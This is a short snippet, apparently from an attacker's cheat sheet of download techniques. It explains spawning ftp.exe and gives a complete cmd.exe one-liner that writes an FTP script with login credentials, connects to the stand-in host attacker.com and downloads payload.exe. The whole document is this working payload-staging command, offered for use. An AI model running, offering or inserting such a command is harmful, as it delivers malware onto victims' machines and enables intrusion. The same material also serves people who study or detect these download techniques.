Use Spawn new process using ftp.exe. Ftp.exe downloads the binary.
cmd.exe/c"@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"